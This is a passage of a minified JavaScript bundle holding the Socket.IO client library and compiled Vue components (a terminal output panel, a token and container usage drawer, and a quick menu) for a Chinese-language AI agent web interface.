_n{constructor(e,t,n){super(),this.connected=!1,this.recovered=!1,this.receiveBuffer=[],this.sendBuffer=[],this._queue=[],this._queueSeq=0,this.ids=0,this.acks={},this.flags={},this.io=e,this.nsp=t,n&&n.auth&&(this.auth=n.auth),this._opts=Object.assign({},n),this.io._autoConnect&&this.open()}get disconnected(){return!this.connected}subEvents(){if(this.subs)return;const e=this.io;this.subs=[da(e,"open",this.onopen.bind(this)),da(e,"packet",this.onpacket.bind(this)),da(e,"error",this.onerror.bind(this)),da(e,"close",this.onclose.bind(this))]}get active(){return!!this.subs}connect(){return this.connected?this:(this.subEvents(),this.io._reconnecting||this.io.open(),this.io._readyState==="open"&&this.onopen(),this)}open(){return this.connect()}send(...e){return e.unshift("message"),this.emit.apply(this,e),this}emit(e,...t){var n,i,r;if(sj.hasOwnProperty(e))throw new Error('"'+e.toString()+'" is a reserved event name');if(t.unshift(e),this._opts.retries&&!this.flags.fromQueue&&!this.flags.volatile)return this._addToQueue(t),this;const o={type:Gt.EVENT,data:t};if(o.options={},o.options.compress=this.flags.compress!==!1,typeof t[t.length-1]=="function"){const u=this.ids++,h=t.pop();this._registerAckCallback(u,h),o.id=u}const a=(i=(n=this.io.engine)===null||n===void 0?void 0:n.transport)===null||i===void 0?void 0:i.writable,c=this.connected&&!(!((r=this.io.engine)===null||r===void 0)&&r._hasPingExpired());return this.flags.volatile&&!a||(c?(this.notifyOutgoingListeners(o),this.packet(o)):this.sendBuffer.push(o)),this.flags={},this}_registerAckCallback(e,t){var n;const i=(n=this.flags.timeout)!==null&&n!==void 0?n:this._opts.ackTimeout;if(i===void 0){this.acks[e]=t;return}const r=this.io.setTimeoutFn(()=>{delete this.acks[e];for(let a=0;a{this.io.clearTimeoutFn(r),t.apply(this,a)};o.withError=!0,this.acks[e]=o}emitWithAck(e,...t){return new Promise((n,i)=>{const r=(o,a)=>o?i(o):n(a);r.withError=!0,t.push(r),this.emit(e,...t)})}_addToQueue(e){let t;typeof e[e.length-1]=="function"&&(t=e.pop());const n={id:this._queueSeq++,tryCount:0,pending:!1,args:e,flags:Object.assign({fromQueue:!0},this.flags)};e.push((i,...r)=>(this._queue[0],i!==null?n.tryCount>this._opts.retries&&(this._queue.shift(),t&&t(i)):(this._queue.shift(),t&&t(null,...r)),n.pending=!1,this._drainQueue())),this._queue.push(n),this._drainQueue()}_drainQueue(e=!1){if(!this.connected||this._queue.length===0)return;const t=this._queue[0];t.pending&&!e||(t.pending=!0,t.tryCount++,this.flags=t.flags,this.emit.apply(this,t.args))}packet(e){e.nsp=this.nsp,this.io._packet(e)}onopen(){typeof this.auth=="function"?this.auth(e=>{this._sendConnectPacket(e)}):this._sendConnectPacket(this.auth)}_sendConnectPacket(e){this.packet({type:Gt.CONNECT,data:this._pid?Object.assign({pid:this._pid,offset:this._lastOffset},e):e})}onerror(e){this.connected||this.emitReserved("connect_error",e)}onclose(e,t){this.connected=!1,delete this.id,this.emitReserved("disconnect",e,t),this._clearAcks()}_clearAcks(){Object.keys(this.acks).forEach(e=>{if(!this.sendBuffer.some(n=>String(n.id)===e)){const n=this.acks[e];delete this.acks[e],n.withError&&n.call(this,new Error("socket has been disconnected"))}})}onpacket(e){if(e.nsp===this.nsp)switch(e.type){case Gt.CONNECT:e.data&&e.data.sid?this.onconnect(e.data.sid,e.data.pid):this.emitReserved("connect_error",new Error("It seems you are trying to reach a Socket.IO server in v2.x with a v3.x client, but they are not compatible (more information here: https://socket.io/docs/v3/migrating-from-2-x-to-3-0/)"));break;case Gt.EVENT:case Gt.BINARY_EVENT:this.onevent(e);break;case Gt.ACK:case Gt.BINARY_ACK:this.onack(e);break;case Gt.DISCONNECT:this.ondisconnect();break;case Gt.CONNECT_ERROR:this.destroy();const n=new Error(e.data.message);n.data=e.data.data,this.emitReserved("connect_error",n);break}}onevent(e){const t=e.data||[];e.id!=null&&t.push(this.ack(e.id)),this.connected?this.emitEvent(t):this.receiveBuffer.push(Object.freeze(t))}emitEvent(e){if(this._anyListeners&&this._anyListeners.length){const t=this._anyListeners.slice();for(const n of t)n.apply(this,e)}super.emit.apply(this,e),this._pid&&e.length&&typeof e[e.length-1]=="string"&&(this._lastOffset=e[e.length-1])}ack(e){const t=this;let n=!1;return function(...i){n||(n=!0,t.packet({type:Gt.ACK,id:e,data:i}))}}onack(e){const t=this.acks[e.id];typeof t=="function"&&(delete this.acks[e.id],t.withError&&e.data.unshift(null),t.apply(this,e.data))}onconnect(e,t){this.id=e,this.recovered=t&&this._pid===t,this._pid=t,this.connected=!0,this.emitBuffered(),this._drainQueue(!0),this.emitReserved("connect")}emitBuffered(){this.receiveBuffer.forEach(e=>this.emitEvent(e)),this.receiveBuffer=[],this.sendBuffer.forEach(e=>{this.notifyOutgoingListeners(e),this.packet(e)}),this.sendBuffer=[]}ondisconnect(){this.destroy(),this.onclose("io server disconnect")}destroy(){this.subs&&(this.subs.forEach(e=>e()),this.subs=void 0),this.io._destroy(this)}disconnect(){return this.connected&&this.packet({type:Gt.DISCONNECT}),this.destroy(),this.connected&&this.onclose("io client disconnect"),this}close(){return this.disconnect()}compress(e){return this.flags.compress=e,this}get volatile(){return this.flags.volatile=!0,this}timeout(e){return this.flags.timeout=e,this}onAny(e){return this._anyListeners=this._anyListeners||[],this._anyListeners.push(e),this}prependAny(e){return this._anyListeners=this._anyListeners||[],this._anyListeners.unshift(e),this}offAny(e){if(!this._anyListeners)return this;if(e){const t=this._anyListeners;for(let n=0;n0&&s.jitter<=1?s.jitter:0,this.attempts=0}hm.prototype.duration=function(){var s=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var e=Math.random(),t=Math.floor(e*this.jitter*s);s=Math.floor(e*10)&1?s+t:s-t}return Math.min(s,this.max)|0};hm.prototype.reset=function(){this.attempts=0};hm.prototype.setMin=function(s){this.ms=s};hm.prototype.setMax=function(s){this.max=s};hm.prototype.setJitter=function(s){this.jitter=s};class E1 extends _n{constructor(e,t){var n;super(),this.nsps={},this.subs=[],e&&typeof e=="object"&&(t=e,e=void 0),t=t||{},t.path=t.path||"/socket.io",this.opts=t,Q0(this,t),this.reconnection(t.reconnection!==!1),this.reconnectionAttempts(t.reconnectionAttempts||1/0),this.reconnectionDelay(t.reconnectionDelay||1e3),this.reconnectionDelayMax(t.reconnectionDelayMax||5e3),this.randomizationFactor((n=t.randomizationFactor)!==null&&n!==void 0?n:.5),this.backoff=new hm({min:this.reconnectionDelay(),max:this.reconnectionDelayMax(),jitter:this.randomizationFactor()}),this.timeout(t.timeout==null?2e4:t.timeout),this._readyState="closed",this.uri=e;const i=t.parser||tj;this.encoder=new i.Encoder,this.decoder=new i.Decoder,this._autoConnect=t.autoConnect!==!1,this._autoConnect&&this.open()}reconnection(e){return arguments.length?(this._reconnection=!!e,e||(this.skipReconnect=!0),this):this._reconnection}reconnectionAttempts(e){return e===void 0?this._reconnectionAttempts:(this._reconnectionAttempts=e,this)}reconnectionDelay(e){var t;return e===void 0?this._reconnectionDelay:(this._reconnectionDelay=e,(t=this.backoff)===null||t===void 0||t.setMin(e),this)}randomizationFactor(e){var t;return e===void 0?this._randomizationFactor:(this._randomizationFactor=e,(t=this.backoff)===null||t===void 0||t.setJitter(e),this)}reconnectionDelayMax(e){var t;return e===void 0?this._reconnectionDelayMax:(this._reconnectionDelayMax=e,(t=this.backoff)===null||t===void 0||t.setMax(e),this)}timeout(e){return arguments.length?(this._timeout=e,this):this._timeout}maybeReconnectOnOpen(){!this._reconnecting&&this._reconnection&&this.backoff.attempts===0&&this.reconnect()}open(e){if(~this._readyState.indexOf("open"))return this;this.engine=new zz(this.uri,this.opts);const t=this.engine,n=this;this._readyState="opening",this.skipReconnect=!1;const i=da(t,"open",function(){n.onopen(),e&&e()}),r=a=>{this.cleanup(),this._readyState="closed",this.emitReserved("error",a),e?e(a):this.maybeReconnectOnOpen()},o=da(t,"error",r);if(this._timeout!==!1){const a=this._timeout,c=this.setTimeoutFn(()=>{i(),r(new Error("timeout")),t.close()},a);this.opts.autoUnref&&c.unref(),this.subs.push(()=>{this.clearTimeoutFn(c)})}return this.subs.push(i),this.subs.push(o),this}connect(e){return this.open(e)}onopen(){this.cleanup(),this._readyState="open",this.emitReserved("open");const e=this.engine;this.subs.push(da(e,"ping",this.onping.bind(this)),da(e,"data",this.ondata.bind(this)),da(e,"error",this.onerror.bind(this)),da(e,"close",this.onclose.bind(this)),da(this.decoder,"decoded",this.ondecoded.bind(this)))}onping(){this.emitReserved("ping")}ondata(e){try{this.decoder.add(e)}catch(t){this.onclose("parse error",t)}}ondecoded(e){K0(()=>{this.emitReserved("packet",e)},this.setTimeoutFn)}onerror(e){this.emitReserved("error",e)}socket(e,t){let n=this.nsps[e];return n?this._autoConnect&&!n.active&&n.connect():(n=new pL(this,e,t),this.nsps[e]=n),n}_destroy(e){const t=Object.keys(this.nsps);for(const n of t)if(this.nsps[n].active)return;this._close()}_packet(e){const t=this.encoder.encode(e);for(let n=0;ne()),this.subs.length=0,this.decoder.destroy()}_close(){this.skipReconnect=!0,this._reconnecting=!1,this.onclose("forced close")}disconnect(){return this._close()}onclose(e,t){var n;this.cleanup(),(n=this.engine)===null||n===void 0||n.close(),this.backoff.reset(),this._readyState="closed",this.emitReserved("close",e,t),this._reconnection&&!this.skipReconnect&&this.reconnect()}reconnect(){if(this._reconnecting||this.skipReconnect)return this;const e=this;if(this.backoff.attempts>=this._reconnectionAttempts)this.backoff.reset(),this.emitReserved("reconnect_failed"),this._reconnecting=!1;else{const t=this.backoff.duration();this._reconnecting=!0;const n=this.setTimeoutFn(()=>{e.skipReconnect||(this.emitReserved("reconnect_attempt",e.backoff.attempts),!e.skipReconnect&&e.open(i=>{i?(e._reconnecting=!1,e.reconnect(),this.emitReserved("reconnect_error",i)):e.onreconnect()}))},t);this.opts.autoUnref&&n.unref(),this.subs.push(()=>{this.clearTimeoutFn(n)})}}onreconnect(){const e=this.backoff.attempts;this._reconnecting=!1,this.backoff.reset(),this.emitReserved("reconnect",e)}}const bm={};function cS(s,e){typeof s=="object"&&(e=s,s=void 0),e=e||{};const t=jz(s,e.path||"/socket.io"),n=t.source,i=t.id,r=t.path,o=bm[i]&&r in bm[i].nsps,a=e.forceNew||e["force new connection"]||e.multiplex===!1||o;let c;return a?c=new E1(n,e):(bm[i]||(bm[i]=new E1(n,e)),c=bm[i]),t.query&&!e.query&&(e.query=t.queryKey),c.socket(t.path,e)}Object.assign(cS,{Manager:E1,Socket:pL,io:cS,connect:cS});const nj={class:"terminal-panel__header"},ij={class:"terminal-panel__tabs"},rj={key:0,class:"terminal-panel__empty-tab"},oj=["title","onClick"],aj={class:"terminal-panel__tab-name"},lj={key:0,class:"terminal-panel__idle"},cj=at({name:"TerminalPanel",__name:"TerminalPanel",props:{width:{},workspaceId:{},conversationId:{}},emits:["close"],setup(s,{emit:e}){const t=s,n=pe({}),i=pe(""),r=pe({}),o=pe({});let a=null;const c=pe(null);let l=null,u=null,h=null;const d=pe({}),p=pe({}),m=ye(()=>Object.keys(n.value));function v(A){const M=A==null?void 0:A.conversation_id;return!M||!t.conversationId?!1:M===t.conversationId}function g(){return document.documentElement.getAttribute("data-theme")==="dark"?"dark":"light"}function y(){return{background:"#ffffff",foreground:"#1f1f1f",cursor:"#3d3929",black:"#1f1f1f",red:"#c04a2f",green:"#4b8f60",yellow:"#b48a2c",blue:"#4a6ea9",magenta:"#9b4d88",cyan:"#2a8c8c",white:"#f4f0ea",brightBlack:"#6b6b6b",brightRed:"#d94a3a",brightGreen:"#5c9e6f",brightYellow:"#c49a3c",brightBlue:"#5a7eb9",brightMagenta:"#ab5d98",brightCyan:"#3a9c9c",brightWhite:"#faf9f5"}}function b(){return{background:"#181818",foreground:"#d4d4d8",cursor:"#d4d4d8",black:"#181818",red:"#f87171",green:"#4ade80",yellow:"#fbbf24",blue:"#60a5fa",magenta:"#c084fc",cyan:"#22d3ee",white:"#e4e4e7",brightBlack:"#3f3f46",brightRed:"#fb7185",brightGreen:"#86efac",brightYellow:"#fcd34d",brightBlue:"#93c5fd",brightMagenta:"#d8b4fe",brightCyan:"#67e8f9",brightWhite:"#fafafa"}}function _(){if(!l)return;const A=g()==="dark";l.options.theme=A?b():y()}function w(){if(!c.value)return;const M=g()==="dark"?b():y();l=new cz.Terminal({cursorBlink:!0,fontSize:13,fontFamily:'"JetBrains Mono", "SF Mono", "Fira Code", "Consolas", monospace',theme:M,scrollback:1e4,convertEol:!0,allowTransparency:!1,disableStdin:!0}),l.open(c.value),h=new ResizeObserver(()=>{if(!l||!c.value)return;const R=c.value.getBoundingClientRect();if(R.width<40||R.height<40)return;const P=l._core._renderService.dimensions.css.cell.width||7.8,L=l._core._renderService.dimensions.css.cell.height||17,z=Math.max(2,Math.floor((R.width-16)/P)),Q=Math.max(1,Math.floor((R.height-16)/L));(z!==l.cols||Q!==l.rows)&&l.resize(z,Q)}),h.observe(c.value),u=new MutationObserver(()=>_()),u.observe(document.documentElement,{attributes:!0,attributeFilter:["data-theme"]})}function S(){h==null||h.disconnect(),h=null,u==null||u.disconnect(),u=null,l==null||l.dispose(),l=null}function C(){if(!l||!i.value)return;const A=r.value[i.value]||"";l.clear(),A&&l.write(A,()=>{l==null||l.scrollToBottom()})}function T(A){if(A&&(i.value=A,!o.value[A])){d.value={...d.value,[A]:!1};const M={...p.value};delete M[A],p.value=M,a!=null&&a.connected&&a.emit("get_terminal_output",{session:A,lines:0,conversation_id:t.conversationId})}}Xe(i,A=>{l&&C()}),Xe(m,A=>{A.length>0&&l&&!i.value&&T(A[0])}),Xe(()=>t.workspaceId,(A,M)=>{A&&M&&A!==M&&(a&&(a.disconnect(),a=null),n.value={},i.value="",r.value={},o.value={},d.value={},p.value={},l&&l.clear(),k())}),Xe(()=>t.conversationId,(A,M)=>{A!==M&&(n.value={},i.value="",r.value={},o.value={},d.value={},p.value={},l&&l.clear(),a!=null&&a.connected&&a.emit("terminal_subscribe",{all:!0,conversation_id:A}))});async function k(){a=cS("/",{transports:["websocket","polling"],autoConnect:!1});const A=async()=>{const P=window;if(typeof P.requestSocketToken!="function")return console.warn("[TerminalPanel] requestSocketToken 不可用"),!1;try{const L=await P.requestSocketToken();return a.auth={socket_token:L},!0}catch(L){return console.error("[TerminalPanel] 获取 token 失败:",L),!1}};if(a.io.on("reconnect_attempt",()=>A()),!await A()){console.error("[TerminalPanel] token 获取失败,放弃 socket"),a=null;return}a.on("connect",()=>{a.emit("terminal_subscribe",{all:!0,conversation_id:t.conversationId})}),a.on("disconnect",()=>{}),a.on("terminal_subscribed",P=>{if(P!=null&&P.terminals){const L={};for(const z of P.terminals)L[z.name]={working_dir:z.working_dir,shell:"bash"};n.value=L,P.terminals.length>0&&!i.value&&T(P.terminals[0].name)}}),a.on("terminal_started",P=>{v(P)&&(n.value={...n.value,[P.session]:{working_dir:P.working_dir,shell:"bash"}},i.value||T(P.session))}),a.on("terminal_list_update",P=>{if(v(P)&&P!=null&&P.terminals){const L={};for(const z of P.terminals)L[z.name]={working_dir:z.working_dir,shell:"bash"};n.value=L,P.active&&!i.value&&T(P.active)}}),a.on("terminal_output",P=>{if(!v(P))return;const L=P.session;if(!L)return;const z=P.data||"",Q=p.value[L]||0,W=typeof P.timestamp=="number"?P.timestamp:0;Q>0&&W>0&&W<=Q||(r.value[L]=(r.value[L]||"")+z,L===i.value&&l&&d.value[L]&&l.write(z),i.value||T(L))}),a.on("terminal_input",P=>{v(P)&&!i.value&&P.session&&T(P.session)}),a.on("terminal_closed",P=>{if(!v(P))return;const L={...n.value};delete L[P.session],n.value=L;const z=Object.keys(L);i.value===P.session&&(i.value=z.length>0?z[0]:"")}),a.on("terminal_reset",P=>{if(!v(P))return;const L=P.session||i.value;if(L){r.value={...r.value,[L]:""},o.value={...o.value,[L]:!0};const z={...p.value};delete z[L],p.value=z,L===i.value&&C()}}),a.on("terminal_switched",P=>{v(P)&&P.current&&T(P.current)});const R=P=>{const L=P.session||P.active;if(!L)return;const z=P.output||P.data||"";let Q="";typeof z=="string"?Q=z:Array.isArray(z)&&(Q=z.join(` +`)),Q&&(r.value[L]=Q),o.value={...o.value,[L]:!0},d.value={...d.value,[L]:!0};const W=typeof P.last_event_time=="number"?P.last_event_time:0;p.value={...p.value,[L]:W},L===i.value&&C()};a.on("terminal_output_history",R),a.on("terminal_history",R),a.connect()}return Cn(()=>{ft(()=>{w(),k()})}),xn(()=>{S(),a&&(a.disconnect(),a=null)}),(A,M)=>(F(),$("aside",{class:"terminal-panel",style:Ke({width:s.width+"px"})},[E("header",nj,[E("div",ij,[m.value.length?ge("",!0):(F(),$("div",rj,[...M[1]||(M[1]=[E("span",null,"等待终端会话...",-1)])])),(F(!0),$(Ie,null,tt(m.value,R=>{var P;return F(),$("button",{key:R,type:"button",class:ke(["terminal-panel__tab",{active:R===i.value}]),title:((P=n.value[R])==null?void 0:P.working_dir)||R,onClick:L=>T(R)},[E("span",aj,ae(R),1)],10,oj)}),128))]),E("button",{type:"button",class:"terminal-panel__close","aria-label":"关闭终端面板",onClick:M[0]||(M[0]=R=>A.$emit("close"))},"×")]),E("div",{class:"terminal-panel__body",ref_key:"terminalContainer",ref:c},[m.value.length?ge("",!0):(F(),$("div",lj,[...M[2]||(M[2]=[E("svg",{class:"terminal-panel__idle-svg",viewBox:"0 0 24 24",fill:"none","aria-hidden":"true"},[E("rect",{x:"2",y:"3",width:"20",height:"16",rx:"2",stroke:"currentColor","stroke-width":"1.5"}),E("path",{d:"M6 7h12M6 10h8",stroke:"currentColor","stroke-width":"1.5","stroke-linecap":"round"})],-1),E("span",null,"当前没有开启的终端",-1)])]))],512)],4))}}),uj=Qt(cj,[["__scopeId","data-v-3e954344"]]),hj={class:"token-display-panel"},dj={class:"token-panel-content"},fj={class:"usage-dashboard"},pj={class:"usage-cell usage-cell--left usage-cell--token panel-card"},gj={class:"stat-grid stat-grid--triple"},mj={class:"stat-block"},vj={class:"stat-value stat-value--accent"},yj={class:"stat-block"},bj={class:"stat-value stat-value--success"},_j={class:"stat-block"},Sj={class:"stat-value stat-value--warning"},wj={class:"usage-cell usage-cell--right usage-cell--performance panel-card"},kj={class:"usage-title"},Cj={key:0,class:"stat-grid stat-grid--double"},Tj={class:"stat-block"},Aj={class:"stat-value"},Ej={class:"stat-block"},Mj={class:"stat-value stat-value--mono"},xj={key:0,class:"stat-foot"},Ij={key:1,class:"usage-placeholder"},Rj={key:1,class:"usage-placeholder"},Lj={class:"usage-cell usage-cell--left usage-cell--quota panel-card"},Pj={class:"stat-grid stat-grid--triple"},Oj={class:"stat-label"},Dj={class:"stat-value"},Nj={key:0,class:"stat-foot"},Bj={class:"usage-cell usage-cell--right usage-cell--resource panel-card"},Fj={class:"stat-grid stat-grid--double"},$j={class:"stat-block"},Hj={class:"stat-value stat-value--mono"},Uj={class:"stat-block"},Wj={class:"stat-value stat-value--mono"},zj={key:0,class:"stat-foot"},jj=at({name:"TokenDrawer",__name:"TokenDrawer",props:{visible:{type:Boolean},collapsed:{type:Boolean},currentConversationTokens:{},currentContextTokens:{},containerStatus:{},containerNetRate:{},projectStorage:{},usageQuota:{},formatTokenCount:{type:Function},formatPercentage:{type:Function},formatBytes:{type:Function},formatQuotaValue:{type:Function},formatResetTime:{type:Function},formatRate:{type:Function}},emits:["toggle"],setup(s,{emit:e}){const t=e,n=s,i=ye(()=>[{key:"fast",label:"常规模型",value:n.usageQuota.fast},{key:"thinking",label:"思考模型",value:n.usageQuota.thinking},{key:"search",label:"搜索",value:n.usageQuota.search}]),r=ye(()=>{const c=n.containerStatus;return!c||!c.stats?!1:typeof c.stats.cpu_percent<"u"?!0:!!(c.stats.memory&&typeof c.stats.memory.used_bytes<"u")}),o=ye(()=>{const c=n.containerStatus;if(!c)return{};if(c.mode!=="docker")return{"status-pill--host":!0};const l=c.state&&c.state.running===!1;return{"status-pill--running":!l,"status-pill--stopped":l}}),a=ye(()=>{const c=n.containerStatus;return c?c.mode!=="docker"?"Host":c.state&&c.state.running===!1?"停止":"运行":"未知"});return(c,l)=>s.visible?(F(),$("div",{key:0,class:ke(["token-drawer",{collapsed:s.collapsed}]),"data-tutorial":"token-drawer"},[E("div",hj,[E("button",{class:"token-close-btn",type:"button","data-tutorial":"token-close",onClick:l[0]||(l[0]=u=>t("toggle")),"aria-label":"收起用量统计"},[...l[1]||(l[1]=[E("span",{class:"sr-only"},"关闭",-1)])]),E("div",dj,[E("div",fj,[E("div",pj,[l[5]||(l[5]=E("div",{class:"usage-title"},"Token 统计",-1)),E("div",gj,[E("div",mj,[l[2]||(l[2]=E("div",{class:"stat-label"},"当前上下文",-1)),E("div",vj,ae(s.formatTokenCount(s.currentContextTokens||0)),1)]),E("div",yj,[l[3]||(l[3]=E("div",{class:"stat-label"},"累计输入",-1)),E("div",bj,ae(s.formatTokenCount(s.currentConversationTokens.cumulative_input_tokens||0)),1)]),E("div",_j,[l[4]||(l[4]=E("div",{class:"stat-label"},"累计输出",-1)),E("div",Sj,ae(s.formatTokenCount(s.currentConversationTokens.cumulative_output_tokens||0)),1)])])]),E("div",wj,[E("div",kj,[l[6]||(l[6]=E("span",null,"性能统计",-1)),s.containerStatus?(F(),$("span",{key:0,class:ke(["status-pill",o.value])},ae(a.value),3)):ge("",!0)]),s.containerStatus&&s.containerStatus.mode==="docker"?(F(),$(Ie,{key:0},[r.value?(F(),$("div",Cj,[E("div",Tj,[l[7]||(l[7]=E("div",{class:"stat-label"},"CPU",-1)),E("div",Aj,ae(s.formatPercentage(s.containerStatus.stats.cpu_percent)),1)]),E("div",Ej,[l[8]||(l[8]=E("div",{class:"stat-label"},"内存",-1)),E("div",Mj,[hn(ae(s.formatBytes(s.containerStatus.stats.memory.used_bytes))+" ",1),s.containerStatus.stats.memory.limit_bytes?(F(),$(Ie,{key:0},[hn(" / "+ae(s.formatBytes(s.containerStatus.stats.memory.limit_bytes)),1)],64)):ge("",!0)]),s.containerStatus.stats.memory.percent?(F(),$("div",xj,ae(s.formatPercentage(s.containerStatus.stats.memory.percent)),1)):ge("",!0)])])):(F(),$("div",Ij,"容器已运行,等待采集指标..."))],64)):(F(),$("div",Rj,"当前运行在宿主机模式,暂无容器指标。"))]),E("div",Lj,[l[9]||(l[9]=E("div",{class:"usage-title"},"额度统计",-1)),E("div",Pj,[(F(!0),$(Ie,null,tt(i.value,u=>(F(),$("div",{class:"stat-block",key:u.key},[E("div",Oj,ae(u.label),1),E("div",Dj,ae(s.formatQuotaValue(u.value)),1),(u.value.count||0)>0?(F(),$("div",Nj," 重置 "+ae(s.formatResetTime(u.value.reset_at)),1)):ge("",!0)]))),128))])]),E("div",Bj,[l[12]||(l[12]=E("div",{class:"usage-title"},"资源统计",-1)),E("div",Fj,[E("div",$j,[l[10]||(l[10]=E("div",{class:"stat-label"},"网络",-1)),E("div",Hj," ↓"+ae(s.formatRate(s.containerNetRate.down_bps))+" ↑"+ae(s.formatRate(s.containerNetRate.up_bps)),1)]),E("div",Uj,[l[11]||(l[11]=E("div",{class:"stat-label"},"存储",-1)),E("div",Wj,[hn(ae(s.formatBytes(s.projectStorage.used_bytes))+" ",1),s.projectStorage.limit_bytes?(F(),$(Ie,{key:0},[hn("/ "+ae(s.formatBytes(s.projectStorage.limit_bytes)),1)],64)):ge("",!0)]),typeof s.projectStorage.usage_percent=="number"?(F(),$("div",zj,ae(s.projectStorage.usage_percent.toFixed(1))+"% ",1)):ge("",!0)])])])])])])],2)):ge("",!0)}}),Vj={class:"quick-menu-list"},Gj=["disabled"],qj=["disabled"],Kj=["disabled"],Qj=["disabled"],Xj=["disabled"],Yj=["disabled"],Jj={class:"entry-arrow"},Zj=["disabled"],e9={key:0,class:"quick-submenu tool-submenu"},t9={key:0,class:"submenu-status"},s9={key:1,class:"submenu-empty"},n9={key:2,class:"submenu-list tool-submenu-list"},i9=["onClick","disabled"],r9={class:"submenu-label icon-label"},o9={class:"entry-arrow"},a9={key:0,class:"quick-submenu settings-submenu"},l9={class:"submenu-list"},c9=["disabled"],u9=["disabled"],h9=["disabled"],d9=["disabled"],f9=at({name:"QuickMenu",__name:"QuickMenu",props:{open:{type:Boolean},isConnected:{type:Boolean},uploading:{type:Boolean},streamingMessage:{type:Boolean},thinkingMode:{type:Boolean},toolMenuOpen:{type:Boolean},toolSettings:{},toolSettingsLoading:{type:Boolean},settingsOpen:{type:Boolean},compressing:{type:Boolean},currentConversationId:{},iconStyle:{type:Function},toolCategoryIcon:{type:Function},modeMenuOpen:{type:Boolean},runMode:{},modelMenuOpen:{type:Boolean},modelOptions:{},currentModelKey:{},blockUpload:{type:Boolean},blockToolToggle:{type:Boolean},blockRealtimeTerminal:{type:Boolean},blockFocusPanel:{type:Boolean},blockTokenPanel:{type:Boolean},blockCompressConversation:{type:Boolean},blockConversationReview:{type:Boolean},executionModeEnabled:{type:Boolean},goalModeArmed:{type:Boolean},goalRunning:{type:Boolean},goalProgress:{}},emits:["quick-upload","toggle-tool-menu","toggle-settings","update-tool-category","realtime-terminal","toggle-token-panel","compress-conversation","toggle-approval-panel","toggle-mode-menu","select-run-mode","toggle-model-menu","select-model","open-review","pick-video","open-path-authorization","toggle-goal-mode"],setup(s){const e=s,t=o=>e.iconStyle?e.iconStyle(o):{},n=ye(()=>{var a;const o=(a=e.modelOptions)==null?void 0:a.find(c=>c.key===e.currentModelKey);return!!(o!=null&&o.supportsImage)}),i=ye(()=>{var a;const o=(a=e.modelOptions)==null?void 0:a.find(c=>c.key===e.currentModelKey);return!!(o!=null&&o.supportsVideo)}),r=ye(()=>{var o;return String(((o=e.goalProgress)==null?void 0:o.status)||"").toLowerCase()==="done"});return(o,a)=>(F(),Wt(us,{name:"quick-menu"},{default:Vt(()=>[s.open?(F(),$("div",{key:0,class:"quick-menu",onClick:a[12]||(a[12]=Ne(()=>{},["stop"]))},[E("div",Vj,[E("button",{type:"button",class:"menu-entry","data-tutorial":"quick-upload",onClick:a[0]||(a[0]=c=>o.$emit("quick-upload")),disabled:!s.isConnected||s.uploading},ae(s.uploading?"上传中...":"上传文件"),9,Gj),E("button",{type:"button",class:"menu-entry","data-tutorial":"quick-review",onClick:a[1]||(a[1]=Ne(c=>o.$emit("open-review"),["stop"])),disabled:!s.isConnected||s.streamingMessage}," 对话回顾 ",8,qj),n.value?(F(),$("button",{key:0,type:"button",class:"menu-entry","data-tutorial":"quick-send-image",onClick:a[2]||(a[2]=Ne(c=>o.$emit("pick-images"),["stop"])),disabled:!s.isConnected||s.streamingMessage}," 发送图片 ",8,Kj)):ge("",!0),i.value?(F(),$("button",{key:1,type:"button",class:"menu-entry","data-tutorial":"quick-send-video",onClick:a[3]||(a[3]=Ne(c=>o.$emit("pick-video"),["stop"])),disabled:!s.isConnected||s.streamingMessage}," 发送视频 ",8,Qj)):ge("",!0),E("button",{type:"button",class:"menu-entry has-submenu","data-tutorial":"quick-tool-menu",onClick:a[4]||(a[4]=Ne(c=>o.$emit("toggle-tool-menu"),["stop"])),disabled:!s.isConnected},[...a[13]||(a[13]=[hn(" 工具禁用 ",-1),E("span",{class:"entry-arrow"},"›",-1)])],8,Xj),E("button",{type:"button",class:ke(["menu-entry",{"goal-entry-active":s.goalModeArmed||s.goalRunning||r.value}]),onClick:a[5]||(a[5]=Ne(c=>o.$emit("toggle-goal-mode"),["stop"])),disabled:!s.isConnected},[a[14]||(a[14]=hn(" 目标模式 ",-1)),E("span",Jj,[s.goalRunning?(F(),$(Ie,{key:0},[hn("运行中")],64)):r.value?(F(),$(Ie,{key:1},[hn("完成")],64)):(F(),$(Ie,{key:2},[hn(ae(s.goalModeArmed?"已就绪":""),1)],64))])],10,Yj),E("button",{type:"button",class:"menu-entry has-submenu","data-tutorial":"quick-settings-menu",onClick:a[6]||(a[6]=Ne(c=>o.$emit("toggle-settings"),["stop"])),disabled:!s.isConnected},[...a[15]||(a[15]=[hn(" 设置 ",-1),E("span",{class:"entry-arrow"},"›",-1)])],8,Zj)]),Qe(us,{name:"submenu-slide"},{default:Vt(()=>[s.toolMenuOpen?(F(),$("div",e9,[s.toolSettingsLoading?(F(),$("div",t9,"正在同步工具状态...")):s.toolSettings.length?(F(),$("div",n9,[(F(!0),$(Ie,null,tt(s.toolSettings,c=>(F(),$("button",{key:c.id,type:"button",class:ke(["menu-entry submenu-entry",{disabled:!c.enabled||c.locked}]),onClick:Ne(l=>o.$emit("update-tool-category",c.id,!c.enabled),["stop"]),disabled:s.streamingMessage||!s.isConnected||s.toolSettingsLoading},[E("span",r9,[E("span",{class:"icon icon-sm",style:Ke(t(s.toolCategoryIcon(c.id))),"aria-hidden":"true"},null,4),E("span",null,ae(c.label),1)]),E("span",o9,[c.locked?(F(),$(Ie,{key:0},[hn(" 被管理员锁定 ")],64)):(F(),$(Ie,{key:1},[hn(ae(c.enabled?"禁用":"启用"),1)],64))])],10,i9))),128))])):(F(),$("div",s9,"暂无可控工具"))])):ge("",!0)]),_:1}),Qe(us,{name:"submenu-slide"},{default:Vt(()=>[s.settingsOpen?(F(),$("div",a9,[E("div",l9,[E("button",{type:"button",class:"menu-entry submenu-entry",onClick:a[7]||(a[7]=c=>o.$emit("realtime-terminal")),disabled:!s.isConnected}," 实时终端 ",8,c9),E("button",{type:"button",class:"menu-entry submenu-entry","data-tutorial":"settings-token-panel",onClick:a[8]||(a[8]=c=>{console.log("[UI_DEBUG] QuickMenu 用量统计按钮 clicked, emitting toggle-token-panel with true"),o.$emit("toggle-token-panel",!0)}),disabled:!s.currentConversationId}," 用量统计 ",8,u9),E("button",{type:"button",class:"menu-entry 